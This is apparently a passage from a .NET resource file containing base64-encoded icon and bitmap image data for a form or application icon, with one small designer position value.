Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + + 480, 17 + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + 